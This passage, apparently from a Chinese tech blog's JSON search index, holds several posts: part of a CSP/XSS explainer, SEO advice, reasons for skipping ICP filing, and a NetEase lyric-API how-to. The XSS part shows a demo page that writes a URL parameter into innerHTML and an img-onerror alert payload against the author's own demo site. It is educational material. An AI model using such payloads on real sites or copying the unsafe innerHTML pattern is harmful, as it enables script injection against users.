style=\"color:#f92672\"\u003ehtml\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;\u003cspan style=\"color:#f92672\"\u003ehead\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;\u003cspan style=\"color:#f92672\"\u003emeta\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003echarset\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;UTF-8\u0026#34;\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e\u0026gt;欢迎页面\u0026lt;/\u003cspan style=\"color:#f92672\"\u003etitle\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ehead\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;\u003cspan style=\"color:#f92672\"\u003eh1\u003c/span\u003e\u0026gt;欢迎\u0026lt;/\u003cspan style=\"color:#f92672\"\u003eh1\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;你好，\u0026lt;\u003cspan style=\"color:#f92672\"\u003espan\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;/\u003cspan style=\"color:#f92672\"\u003espan\u003c/span\u003e\u0026gt;！\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ep\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;\u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// 从 URL 参数读取用户名并显示\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eparams\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enew\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eURLSearchParams\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003elocation\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003esearch\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ename\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eparams\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eget\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    document.\u003cspan style=\"color:#a6e22e\"\u003egetElementById\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e).\u003cspan style=\"color:#a6e22e\"\u003einnerHTML\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ename\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u0026lt;/\u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ebody\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026lt;/\u003cspan style=\"color:#f92672\"\u003ehtml\u003c/span\u003e\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这个网站非常简单：页面会通过查询参数 \u003ccode\u003e?name=xxx\u003c/code\u003e 动态显示用户名。\u003c/p\u003e\n\u003cp\u003e比如你输入 \u003ca href=\"https://none-csp-demo.pages.dev/nocsp?name=AcoFork\"\u003ehttps://none-csp-demo.pages.dev/nocsp?name=AcoFork\u003c/a\u003e 网页就会显示\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/csp/img/366d0934-9c3a-4196-a7ae-1c230c916daf.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e从源码可以看出，这个网页是通过 \u003ccode\u003einnerHTML\u003c/code\u003e 直接插入文本内容的。\u003c/p\u003e\n\u003cp\u003e这种写法没有做任何安全处理，会把传入内容直接拼接进 HTML。\u003c/p\u003e\n\u003cp\u003e那么\u0026hellip;如果我们给网站这样一个 \u003ccode\u003ename\u003c/code\u003e 呢？\u003c/p\u003e\n\u003cp\u003e尝试输入\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E\"\u003ehttps://none-csp-demo.pages.dev/nocsp?name=%3Cimg%20src=x%20onerror=%22alert(%27XSS%E6%94%BB%E5%87%BB%E6%88%90%E5%8A%9F%27)%22%3E\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e你会发现网站并没有打印出任何用户名，而且浏览器还弹出了一个奇怪的窗口\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/csp/img/e86cfeed-a9d4-402b-aed0-fc3624f3e925.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e我们F12查看当前网页的源代码\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/csp/img/ad38bc52-e689-4923-b79c-894dc9ab4136.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e发现在 \u003ccode\u003e\u0026lt;span id=\u0026quot;name\u0026quot;\u0026gt;\u0026lt;/span\u0026gt;\u003c/code\u003e 中\u003c/p\u003e\n\u003cp\u003e被插入了一条 \u003ccode\u003e\u0026lt;img src=\u0026quot;x\u0026quot; onerror=\u0026quot;alert('XSS攻击成功')\u0026quot;\u0026gt;\u003c/code\u003e ！\u003c/p\u003e\n\u003cp\u003e也就是说，网页并没有把我们传入的 \u003ccode\u003ename\u003c/code\u003e 当作纯文本处理，\u003c/p\u003e\n\u003cp\u003e而是直接把它插入成了 HTML。\u003c/p\u003e\n\u003cp\u003e因此浏览器并不会把它渲染成普通文字，例如 \u003ccode\u003e你好，\u0026lt;img src=\u0026quot;x\u0026quot; onerror=\u0026quot;alert('XSS攻击成功')\u0026quot;\u0026gt; ！\u003c/code\u003e\u003c/p\u003e","title":"CSP标头是什么？为什么有人能神不知鬼不觉地盗走你的信息？"},{"content":"标题 即每个HTML head部分的 title\n不要重名 如果你的标题是中文，请尽量避免和任何知名事物重名。比如，不要叫 树叶博客，而可以换成 叶树博客 这种更容易区分的名字。\n搜索引擎通常会给知名事物更高的权重；如果你的站点名称恰好与之重名，用户就很难通过搜索结果准确找到你。\n使用英文标题 比如 AcoFork Blog、afoim Blog。\n你可以尝试自创一个英文单词。和中文标题一样，最好也不要与知名事物重名。\n对于这类独特名称，搜索引擎更容易把它识别为一个独立品牌或独立站点。\n这样一来，用户只要直接搜索这个自创单词，比如 AcoFork，大概率就能找到你的网站。\n跨页面使用主标题锚定 一个网站大多数情况下都会有多个页面，比如主页、分类页、归档页等等。\n除了首页要展示你的主标题，其他页面也应尽量围绕这个主标题展开。\n例如，主页面标题为 AcoFork Blog，那么副页面可以写成 分类 - AcoFork Blog，或者：\nAcoFork Blog - 分类 。\n但请尽量不要只写一个 分类。虽然在同一域名下，这未必会严重影响搜索引擎判断，但很可能会误导用户。\n例如，用户搜索你的网站时，排在前面的结果标题却只是一个 分类 页面，看起来就会很奇怪。\n言简意赅写明description 即每个HTML head部分的 meta name=\u0026quot;description\u0026quot;\n网站描述不要太短，也不要过长，更不能留空。\n我的网站简介是\n分享网络技术、服务器部署、内网穿透、静态网站搭建、CDN优化、容器化部署等技术教程与实践经验的个人技术博客，专注于云原生、无服务器架构和前后端开发，作者为AcoFork/afoim/二叉树树\n关键词 即每个HTML head部分的 meta name=\u0026quot;keywords\u0026quot;\n现代搜索引擎基本已经不再重视这个字段，而且它也非常容易被滥用，所以通常不需要填写。\n同内容网站只能有一个 如无必要，请不要变更域名。也不要将其他域名指向您的站点\n假如我同时拥有 acofork.com 和 acofork.cn，并且都想指向同一个网站，该怎么处理？\n请使用 301 重定向\n否则你的 SEO 会受到影响，搜索引擎可能不会把这两个站点视为同一个站点。\n同时，最好确保这个域名今后只用于重定向。因为 301 重定向会在客户端留下长期缓存。\n客户端第一次访问时，服务器返回 301 状态码；之后很长一段时间里，客户端都可能不再请求原服务器，而是直接跳转到目标 URL。\n如果你以后还想把这个域名挪作他用，那最好一开始就不要把它长期用于 301 重定向；否则未来即使你切换了解析，也可能仍有一部分用户无法正常访问新服务。\n解决这个问题需要引导用户清除浏览器的本地缓存，非常麻烦\n避免使用相同名字的云托管服务 比如 xLog。我曾经创建过一个 acofork.xlog.app 站点，后来不再使用了。又因为 xLog 基于区块链，我还把私钥助记词弄丢了，结果现在谁也登不上去，自然也无法删除里面的内容。直到今天，它仍然在影响我主站的 SEO。\n使用Lighthouse分析站点分数 Lighthouse 是一个常用的浏览器工具，可以分析站点的性能、无障碍、最佳实践等指标。\n你可以前往浏览器插件商店搜索 Lighthouse，安装后进行测试。\n注意，最好在无痕模式下进行测试，以免其他浏览器插件影响 Lighthouse 的结果。\n对于每一项出现的问题，Lighthouse 都会给出相对明确的说明。你可以根据这些提示逐项优化自己的网站。\n接入必应网站管理员 前往 https://www.bing.com/webmasters\n接入站点后，必应爬虫会分析你的网站，并告知它是否适合出现在搜索结果中。\n同时，它也会从搜索引擎的视角指出一些潜在问题，你可以据此继续优化。\n接入各大分析 你还可以把网站接入各种统计与分析平台。这样不仅方便查看流量，也能侧面体现这个站点正在被持续维护。\n百度统计： https://tongji.baidu.com/\n必应网站管理员： https://www.bing.com/webmaster/\n谷歌搜索控制台： https://search.google.com/\n谷歌分析： https://analytics.google.com/\n谷歌广告： https://www.google.com/adsense/\n主动提交站点地图 尽管大多数搜索引擎都会主动探测 /robots.txt、/sitemap.xml、rss.xml、atom.xml 等路径来发现站点地图，但我仍然建议你主动提交一次。\n使用IndexNow 以前，如果想提升网站的 SEO，我们往往只能被动等待搜索引擎爬虫来抓取内容。\n而 IndexNow 允许网站主动向搜索引擎提交高质量内容。详见：Why IndexNow | Bing Webmaster Tools\n如果你使用的是 Cloudflare CDN，这项能力基本可以开箱即用。只需要进入你的域名设置页面，依次打开 缓存 -\u0026gt; 配置，启用 Crawler Hints 即可。\n","permalink":"https://blog.2x.nz/posts/improve-seo/","summary":"\u003ch1 id=\"标题\"\u003e标题\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e即每个HTML head部分的 \u003ccode\u003etitle\u003c/code\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch3 id=\"不要重名\"\u003e不要重名\u003c/h3\u003e\n\u003cp\u003e如果你的标题是中文，请尽量避免和任何知名事物重名。比如，不要叫 \u003ccode\u003e树叶博客\u003c/code\u003e，而可以换成 \u003ccode\u003e叶树博客\u003c/code\u003e 这种更容易区分的名字。\u003c/p\u003e\n\u003cp\u003e搜索引擎通常会给知名事物更高的权重；如果你的站点名称恰好与之重名，用户就很难通过搜索结果准确找到你。\u003c/p\u003e\n\u003ch3 id=\"使用英文标题\"\u003e使用英文标题\u003c/h3\u003e\n\u003cp\u003e比如 \u003ccode\u003eAcoFork Blog\u003c/code\u003e、\u003ccode\u003eafoim Blog\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e你可以尝试自创一个英文单词。和中文标题一样，最好也不要与知名事物重名。\u003c/p\u003e\n\u003cp\u003e对于这类独特名称，搜索引擎更容易把它识别为一个独立品牌或独立站点。\u003c/p\u003e\n\u003cp\u003e这样一来，用户只要直接搜索这个自创单词，比如 \u003ccode\u003eAcoFork\u003c/code\u003e，大概率就能找到你的网站。\u003c/p\u003e\n\u003ch3 id=\"跨页面使用主标题锚定\"\u003e跨页面使用主标题锚定\u003c/h3\u003e\n\u003cp\u003e一个网站大多数情况下都会有多个页面，比如主页、分类页、归档页等等。\u003c/p\u003e\n\u003cp\u003e除了首页要展示你的主标题，其他页面也应尽量围绕这个主标题展开。\u003c/p\u003e\n\u003cp\u003e例如，主页面标题为 \u003ccode\u003eAcoFork Blog\u003c/code\u003e，那么副页面可以写成 \u003ccode\u003e分类 - AcoFork Blog\u003c/code\u003e，或者：\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eAcoFork Blog - 分类\u003c/code\u003e 。\u003c/p\u003e\n\u003cp\u003e但请尽量不要只写一个 \u003ccode\u003e分类\u003c/code\u003e。虽然在同一域名下，这未必会严重影响搜索引擎判断，但很可能会误导用户。\u003c/p\u003e\n\u003cp\u003e例如，用户搜索你的网站时，排在前面的结果标题却只是一个 \u003ccode\u003e分类\u003c/code\u003e 页面，看起来就会很奇怪。\u003c/p\u003e\n\u003ch1 id=\"言简意赅写明description\"\u003e言简意赅写明description\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e即每个HTML head部分的 \u003ccode\u003emeta name=\u0026quot;description\u0026quot;\u003c/code\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e网站描述不要太短，也不要过长，更不能留空。\u003c/p\u003e\n\u003cp\u003e我的网站简介是\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e分享网络技术、服务器部署、内网穿透、静态网站搭建、CDN优化、容器化部署等技术教程与实践经验的个人技术博客，专注于云原生、无服务器架构和前后端开发，作者为AcoFork/afoim/二叉树树\u003c/code\u003e\u003c/p\u003e\n\u003ch1 id=\"关键词\"\u003e关键词\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e即每个HTML head部分的 \u003ccode\u003emeta name=\u0026quot;keywords\u0026quot;\u003c/code\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e现代搜索引擎基本已经不再重视这个字段，而且它也非常容易被滥用，所以通常不需要填写。\u003c/p\u003e\n\u003ch1 id=\"同内容网站只能有一个\"\u003e同内容网站只能有一个\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e如无必要，请不要变更域名。也不要将其他域名指向您的站点\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e假如我同时拥有 \u003ccode\u003eacofork.com\u003c/code\u003e 和 \u003ccode\u003eacofork.cn\u003c/code\u003e，并且都想指向同一个网站，该怎么处理？\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e请使用 301 重定向\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e否则你的 SEO 会受到影响，搜索引擎可能不会把这两个站点视为同一个站点。\u003c/p\u003e\n\u003cp\u003e同时，最好确保这个域名今后只用于重定向。因为 301 重定向会在客户端留下长期缓存。\u003c/p\u003e","title":"如何提高网站的SEO？"},{"content":" 目前已备案，该文章存档 被DDOS大肘子打回CF了\n违规内容 早期本站发布过文章 点此查看 该文章不符合备案规范。曾尝试过备案被打回\n域名不支持备案 ICP备案是针对于域名的，本人名下的 2x.nz 并不在ICP备案支持的域名后缀内\n所有支持备案的域名后缀请查看 https://domain.miit.gov.cn/\n中国节点加速收效甚微 目前本站使用的CDN为Netlify CDN，Netlify采用AWS的IP，速度极快，在中国大陆可用性很高，延迟如下图\n由于本站为静态站，若进行备案可以直接使用EdgeOne Page中的中国大陆节点，延迟固然会更低，但是对比目前的速度收效甚微\n备案步骤繁琐 若进行备案，则需要填写实际运营人相关信息并且需要购买备案码（这是最低成本的备案方式）\nGFW未对本站进行SNI阻断 本站目前并未被GFW阻断。除部分省市防火墙进行非备案域阻断外皆可正常访问\n泉州等地区用户仅支持访问备案域？ 本站之前有一个IP站点，由于业务服务器1Panel V1升级至V2破坏了原有的CI/CD工作流，暂时停用\n后续会进行修复并且重新恢复IP站点的运营\n已恢复\n后续是否会备案 可能。但是不会用做主要业务，更多是提高访问可达性，主站仍为未备案站。\n且如果备案后我需要管理两个内容分支（即无违规内容分支和原分支）我可能会放弃这么做\n","permalink":"https://blog.2x.nz/posts/why-not-icp/","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cdel\u003e目前已备案，该文章存档\u003c/del\u003e  被DDOS大肘子打回CF了\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"违规内容\"\u003e违规内容\u003c/h1\u003e\n\u003cp\u003e早期本站发布过文章 \u003ca href=\"/posts/bypass-gfw/\"\u003e点此查看\u003c/a\u003e\n该文章不符合备案规范。曾尝试过备案被打回\u003c/p\u003e\n\u003ch1 id=\"域名不支持备案\"\u003e域名不支持备案\u003c/h1\u003e\n\u003cp\u003eICP备案是针对于域名的，本人名下的 2x.nz 并不在ICP备案支持的域名后缀内\u003c/p\u003e\n\u003cp\u003e所有支持备案的域名后缀请查看 \u003ca href=\"https://domain.miit.gov.cn/\"\u003ehttps://domain.miit.gov.cn/\u003c/a\u003e\u003c/p\u003e\n\u003ch1 id=\"中国节点加速收效甚微\"\u003e中国节点加速收效甚微\u003c/h1\u003e\n\u003cp\u003e目前本站使用的CDN为Netlify CDN，Netlify采用AWS的IP，速度极快，在中国大陆可用性很高，延迟如下图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/why-not-icp/img/96375c6a-f807-42b7-b1f0-33c0c7231037.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e由于本站为静态站，若进行备案可以直接使用EdgeOne Page中的中国大陆节点，延迟固然会更低，但是对比目前的速度收效甚微\u003c/p\u003e\n\u003ch1 id=\"备案步骤繁琐\"\u003e备案步骤繁琐\u003c/h1\u003e\n\u003cp\u003e若进行备案，则需要填写实际运营人相关信息并且需要购买备案码（这是最低成本的备案方式）\u003c/p\u003e\n\u003ch1 id=\"gfw未对本站进行sni阻断\"\u003eGFW未对本站进行SNI阻断\u003c/h1\u003e\n\u003cp\u003e本站目前并未被GFW阻断。除部分省市防火墙进行非备案域阻断外皆可正常访问\u003c/p\u003e\n\u003ch1 id=\"泉州等地区用户仅支持访问备案域\"\u003e泉州等地区用户仅支持访问备案域？\u003c/h1\u003e\n\u003cp\u003e本站之前有一个IP站点，由于业务服务器1Panel V1升级至V2破坏了原有的CI/CD工作流，暂时停用\u003c/p\u003e\n\u003cp\u003e后续会进行修复并且重新恢复IP站点的运营\u003c/p\u003e\n\u003cp\u003e已恢复\u003c/p\u003e\n\u003ch1 id=\"后续是否会备案\"\u003e后续是否会备案\u003c/h1\u003e\n\u003cp\u003e可能。但是不会用做主要业务，更多是提高访问可达性，主站仍为未备案站。\u003c/p\u003e\n\u003cp\u003e且如果备案后我需要管理两个内容分支（即无违规内容分支和原分支）我可能会放弃这么做\u003c/p\u003e","title":"关于本站为什么不进行ICP备案"},{"content":"正式开始 首先我们要获取一首歌的ID，如果你是App可以点击分享，然后 复制链接 。如果是Web，直接复制浏览器地址栏\n你将得到类似这样的URL\nhttps://music.163.com/#/song?id=29812004\u0026amp;uct2=U2FsdGVkX1+0Ic0zSL7yd7aZMm+xya0r1rUmiRUO5Us=\n其中的 id=29812004 中的值就是我们的歌曲ID\n接下来拼接URL\nhttps://music.163.com/api/song/media?id=29812004 访问就得到歌词时间戳啦\n{\u0026#34;songStatus\u0026#34;:1,\u0026#34;lyricVersion\u0026#34;:44,\u0026#34;lyric\u0026#34;:\u0026#34;[by:月餖]\\n[00:19.30]The clock stopped ticking forever ago\\n\\n[00:23.300]How long have I been up?\\n[00:25.300]I don\u0026#39;t know.\\n[00:26.300]I can\u0026#39;t get a grip,\\n[00:28.300]But I can\u0026#39;t let go\\n[00:30.300]There wasn\u0026#39;t anything\\n[00:31.300]To hold onto though...\\n[00:33.300]Why can\u0026#39;t I see?\\n[00:35.300]Why can\u0026#39;t I see?\\n[00:37.300]All the colors that you see?\\n[00:40.300]Please, Can I be,\\n[00:42.300]Please, Can I be\\n[00:44.300]Colorful and free?\\n[00:47.300]WHAT THE HELL\u0026#39;S GOING ON?!\\n[00:48.300]CAN SOMEONE TELL ME PLEASE--\\n[00:50.300]WHY, I\u0026#39;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\\n[00:53.300]I\u0026#39;M black, THEN I\u0026#39;M white!!\\n[00:55.300]NO!!!\\n[00:56.300]SOMETHING ISN\u0026#39;T RIGHT!!\\n[00:57.300]MY ENEMY\u0026#39;S INVISIBLE, I DON\u0026#39;T KNOW HOW TO FIGHT!!\\n[01:01.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\\n[01:04.300]WHEN I\u0026#39;M UP AGAINST\\n[01:05.300]THE ECHO IN THE MIRROR!!\\n[01:08.300]ECHO!!\\n[01:14.300]\\n[02:23.300]I\u0026#39;m gonna burn my house down,\\n[02:27.300]Into an ugly black.\\n[02:28.300]I\u0026#39;m gonna run away, Now\\n[02:31.300]And never look back.\\n[02:32.300]I\u0026#39;m gonna burn my house down,\\n[02:34.300]Into an ugly black.\\n[02:35.300]I\u0026#39;m gonna run away, Now\\n[02:37.300]And never look back.\\n[02:39.300]I\u0026#39;m gonna run away down,\\n[02:41.300]I\u0026#39;m gonna run away.\\n[02:42.300]I\u0026#39;m gonna run away, Now\\n[02:44.300]I\u0026#39;m gonna run away\\n[02:53.300]I\u0026#39;m gonna burn my house down.\\n[02:54.300]And never look back.\\n[02:56.300]And never look back.\\n[02:58.300]AND NEVER LOOK BACK!!\\n[02:59.300]WHAT THE HELL\u0026#39;S GOING ON?!\\n[03:01.300]CAN SOMEONE TELL ME PLEASE--\\n[03:03.300]WHY, I\u0026#39;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\\n[03:06.300]I\u0026#39;M black, THEN I\u0026#39;M white!!\\n[03:08.300]NO!!!\\n[03:08.300]SOMETHING ISN\u0026#39;T RIGHT!!\\n[03:10.300]MY ENEMY\u0026#39;S INVISIBLE, I DON\u0026#39;T KNOW HOW TO FIGHT!!\\n[03:13.300]WHAT THE HELL\u0026#39;S GOING ON?!\\n[03:15.300]CAN SOMEONE TELL ME PLEASE--\\n[03:17.300]WHY, I\u0026#39;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\\n[03:20.300]I\u0026#39;M black, THEN I\u0026#39;M white!!\\n[03:21.300]NO!!!\\n[03:22.300]SOMETHING ISN\u0026#39;T RIGHT!!\\n[03:23.300]MY ENEMY\u0026#39;S INVISIBLE, I DON\u0026#39;T KNOW HOW TO FIGHT!!\\n[03:27.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\\n[03:31.300]WHEN I\u0026#39;M UP AGAINST\\n[03:32.300]THE ECHO IN THE MIRROR!!\\n[03:34.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\\n[03:37.300]WHEN I\u0026#39;M UP AGAINST\\n[03:39.300]THE ECHO IN THE MIRROR!!\u0026#34;,\u0026#34;code\u0026#34;:200} ","permalink":"https://blog.2x.nz/posts/wyy-timestrap/","summary":"\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003cp\u003e首先我们要获取一首歌的ID，如果你是App可以点击分享，然后 \u003ccode\u003e复制链接\u003c/code\u003e 。如果是Web，直接复制浏览器地址栏\u003c/p\u003e\n\u003cp\u003e你将得到类似这样的URL\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ehttps://music.163.com/#/song?id=29812004\u0026amp;uct2=U2FsdGVkX1+0Ic0zSL7yd7aZMm+xya0r1rUmiRUO5Us=\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e其中的 \u003ccode\u003eid=29812004\u003c/code\u003e 中的值就是我们的歌曲ID\u003c/p\u003e\n\u003cp\u003e接下来拼接URL\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehttps://music.163.com/api/song/media?id\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e29812004\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e访问就得到歌词时间戳啦\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;songStatus\u0026#34;\u003c/span\u003e:1,\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;lyricVersion\u0026#34;\u003c/span\u003e:44,\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;lyric\u0026#34;\u003c/span\u003e:\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[by:月餖]\\n[00:19.30]The clock stopped ticking forever ago\\n\\n[00:23.300]How long have I been up?\\n[00:25.300]I don\u0026#39;t know.\\n[00:26.300]I can\u0026#39;t get a grip,\\n[00:28.300]But I can\u0026#39;t let go\\n[00:30.300]There wasn\u0026#39;t anything\\n[00:31.300]To hold onto though...\\n[00:33.300]Why can\u0026#39;t I see?\\n[00:35.300]Why can\u0026#39;t I see?\\n[00:37.300]All the colors that you see?\\n[00:40.300]Please, Can I be,\\n[00:42.300]Please, Can I be\\n[00:44.300]Colorful and free?\\n[00:47.300]WHAT THE HELL\u0026#39;S GOING ON?!\\n[00:48.300]CAN SOMEONE TELL ME PLEASE--\\n[00:50.300]WHY, I\u0026#39;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\\n[00:53.300]I\u0026#39;M black, THEN I\u0026#39;M white!!\\n[00:55.300]NO!!!\\n[00:56.300]SOMETHING ISN\u0026#39;T RIGHT!!\\n[00:57.300]MY ENEMY\u0026#39;S INVISIBLE, I DON\u0026#39;T KNOW HOW TO FIGHT!!\\n[01:01.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\\n[01:04.300]WHEN I\u0026#39;M UP AGAINST\\n[01:05.300]THE ECHO IN THE MIRROR!!\\n[01:08.300]ECHO!!\\n[01:14.300]\\n[02:23.300]I\u0026#39;m gonna burn my house down,\\n[02:27.300]Into an ugly black.\\n[02:28.300]I\u0026#39;m gonna run away, Now\\n[02:31.300]And never look back.\\n[02:32.300]I\u0026#39;m gonna burn my house down,\\n[02:34.300]Into an ugly black.\\n[02:35.300]I\u0026#39;m gonna run away, Now\\n[02:37.300]And never look back.\\n[02:39.300]I\u0026#39;m gonna run away down,\\n[02:41.300]I\u0026#39;m gonna run away.\\n[02:42.300]I\u0026#39;m gonna run away, Now\\n[02:44.300]I\u0026#39;m gonna run away\\n[02:53.300]I\u0026#39;m gonna burn my house down.\\n[02:54.300]And never look back.\\n[02:56.300]And never look back.\\n[02:58.300]AND NEVER LOOK BACK!!\\n[02:59.300]WHAT THE HELL\u0026#39;S GOING ON?!\\n[03:01.300]CAN SOMEONE TELL ME PLEASE--\\n[03:03.300]WHY, I\u0026#39;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\\n[03:06.300]I\u0026#39;M black, THEN I\u0026#39;M white!!\\n[03:08.300]NO!!!\\n[03:08.300]SOMETHING ISN\u0026#39;T RIGHT!!\\n[03:10.300]MY ENEMY\u0026#39;S INVISIBLE, I DON\u0026#39;T KNOW HOW TO FIGHT!!\\n[03:13.300]WHAT THE HELL\u0026#39;S GOING ON?!\\n[03:15.300]CAN SOMEONE TELL ME PLEASE--\\n[03:17.300]WHY, I\u0026#39;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\\n[03:20.300]I\u0026#39;M black, THEN I\u0026#39;M white!!\\n[03:21.300]NO!!!\\n[03:22.300]SOMETHING ISN\u0026#39;T 